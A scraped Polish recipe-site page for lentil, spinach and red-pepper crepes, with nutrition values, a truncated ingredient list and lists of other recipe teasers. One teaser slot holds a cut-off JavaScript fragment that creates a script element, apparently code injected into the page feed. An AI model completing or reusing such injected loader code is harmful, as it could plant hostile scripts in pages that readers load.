Fit Naleśniki z soczewicą, szpinakiem i czerwoną papryką
Źródło: https://wojtigotuje.blogspot.com/2020/08/fit-nalesniki-z-soczewica-szpinakiem-i.html
Naleśniki z soczewicą, szpinakiem i czerwoną paprykąWartości odżywcze:Energia: 557 kcalWęglowodany: 72 gTłuszcz: 16 gBiałko: 21 gSkładniki:Papryka czerwona - 0,5 średniej sztuki (75 g) Szpinak (świeży) - 1,5 garści (30 g) Soczewica czerwona - 0,25 szklanki (55 g) Mąka pełnoziarnista - 0,5 szklanki (60 g)Oliwa z oliwek - 2,5 łyżeczki (12 g) Woda mineralna - 0,4 szklanki...
Najnowsze przepisy
Ciasto jest wyśmienite, wielowarstwowe począwszy od... ⇖ 7
(function(){ u7xb=document.createElement("script");u7xb.type ⇖ 10
Rurki z kremem Kinder to przepis, który smakiem przenosi... ⇖ 11
20.12.2025 Magda Śledzie z grzybami i pieczoną papryką... ⇖ 15
Zapraszam Was dziś na przepyszne ciasto makowe z kremem... ⇖ 33
Zupa rybna z łososiem i krewetkami pachnie fenkułem,... ⇖ 29
Tradycyjny polski śledź w śmietanie. Do niego ziemniaki... ⇖ 26
Inlagd sill, czyli śledzie marynowane po szwedzku w sosie... ⇖ 16
Przepisy z bloga
Placuszki z Ricotty i Cytryną – Puszyste Jak Chmurka... ⇖ 82
Chili con Carne w 30 Minut – Ekspresowy Obiad z Jednego... ⇖ 83
Twarożek z Wędzonym Łososiem i Koperkiem – Idealny na... ⇖ 87
Nuggetsy z Piekarnika w Płatkach Kukurydzianych –... ⇖ 74
Pulpety Drobiowe w Sosie Koperkowym – Obiad, Który Otula... ⇖ 104
Owsianka Brownie Kakao + Banan – Śniadanie/Fit, Które... ⇖ 109
Kurczak w Sosie Serowym z Brokułem (One-Pot) – Szybki... ⇖ 109
Jaglanka Pieczona z Gruszką i Cynamonem – Rozgrzewające... ⇖ 89
Przepisy na czasie
Prosty przepis na klasyczny drożdżowy makowiec. Przepis... ⇖ 2598
Masz ochotę na coś słodkiego bez pieczenia? Zrób sernik... ⇖ 2084
Piernik przekładany kremem to jedno z tych ciast, które... ⇖ 1427
NAJLEPSZY PRZEPIS NA CIASTO NA PIEROŻKIBardzo lubię... ⇖ 835
To niezwykle proste ciasto piernikowe, które zawsze się... ⇖ 740
Sernik łaciaty z brzoskwiniami i makiem to ciasto, które... ⇖ 672
Cześć! Dzisiaj robimy ciasto lion bez pieczenia, to... ⇖ 640
Kremowe, delikatne ciasto z białą czekoladą i cukierkami... ⇖ 632
